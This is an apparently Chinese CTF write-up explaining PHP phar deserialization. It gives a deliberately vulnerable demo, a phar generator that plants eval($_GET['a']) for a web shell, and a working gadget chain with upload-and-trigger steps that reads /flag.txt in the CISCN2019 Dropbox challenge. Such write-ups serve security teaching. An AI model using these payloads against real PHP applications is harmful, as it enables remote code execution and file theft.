首页 技术 正文
技术 2022年11月12日
0 收藏 603 点赞 4,726 浏览 3400 个字

太难了QAQ

先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571

简单的说,phar就是php的压缩文件,它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// ,php://等类似,也是一种流包装器。

phar结构由 4 部分组成

  • stub
    phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
  • manifest
    压缩文件的属性等信息,以序列化存储;
  • contents
    压缩文件的内容;
  • signature
    签名,放在文件末尾;

这里有两个关键点:
一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;
二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。
关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox
直接来试试吧。
如果有文件test.php

<?phpclass Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

生成phar的文件phar.phar可以这样写:

<?php
class Testobj
{
var $output='';
}@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

这样,当我们访问phar.phpr时,将会生成test.phar的phar文件。之后再将其作为参数传到test.php中,就可getshell

利用条件:
① phar文件要能够上传到服务器端
② 要有可用的魔术方法作为“跳板”
③ 要有文件操作函数,如file_exists(),fopen(),file_get_contents(),file()
③ 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

再来看看[CISCN2019 华北赛区 Day1 Web1]Dropbox这道题

进入题目随便注册一个账号,可以上传文件。
上传了之后可以删除和下载文件。
在下载文件的包中发现是通过post参数filename来进行的,所以尝试能不能进行任意文件下载。

修改filename可进行任意文件的下载(下载不了flag)。

于是下载网页源码,index.php,class.php,delete.php,ownload.php
注意到class.php中的Filelist类中的__destruct可以读取任意文件

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" rel="external nofollow" rel="external nofollow" class="download">下载</a> / <a href="#" rel="external nofollow" rel="external nofollow" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

class.php中的delete函数使用了unlink函数

    public function detele() {
unlink($this->filename);
}
  • 1
  • 2
  • 3

而delete.php中又调用了delete函数

include "class.php";chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

综上,满足了phar反序列化利用的三个条件,所以可以使用phar反序列化来获取flag

生成phar文件的php代码:

<?php
class User {
public $db;
}
class File{
public $filename;
public function __construct($name){
$this->filename=$name;
}
}
class FileList {
private $files;
public function __construct(){
$this->files=array(new File('/flag.txt'));
}
}
$o = new User();
$o->db =new FileList();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

之后将生成的phar文件后缀改为jpg上传。
接下来再点击删除文件,将文件名改为phar://phar.jpg即可获得flag

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:9,145
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,617
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,461
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,236
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,871
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,953